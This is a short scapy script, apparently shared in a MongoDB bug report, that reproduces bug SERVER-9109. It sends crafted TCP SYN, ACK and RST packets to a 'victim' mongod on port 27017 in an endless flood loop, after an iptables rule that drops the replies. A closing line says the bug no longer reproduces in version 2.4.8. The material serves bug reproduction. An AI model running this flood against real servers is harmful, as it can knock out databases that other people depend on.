server-9109-sca.py

# scapy script to trigger bug in mongod / mongos: https://jira.mongodb.org/browse/SERVER-9109
#
# Do $(iptables -I INPUT -p tcp --dport 12345 -j DROP) at vm host before flooding.

vm = '1.2.3.4' # src
victim = '9.8.7.6' # dst
def f():
    syn = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, flags="S")
    sa = sr1(syn)
    ack = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="A")
    rst = IP(src=vm, dst=victim)/TCP(sport=12345, dport=27017, seq=sa.ack, ack=sa.seq+1, flags="RA")
    send([ack, rst])
while True: f()

I confirm, I can't reproduce the bug with 2.4.8 anymore.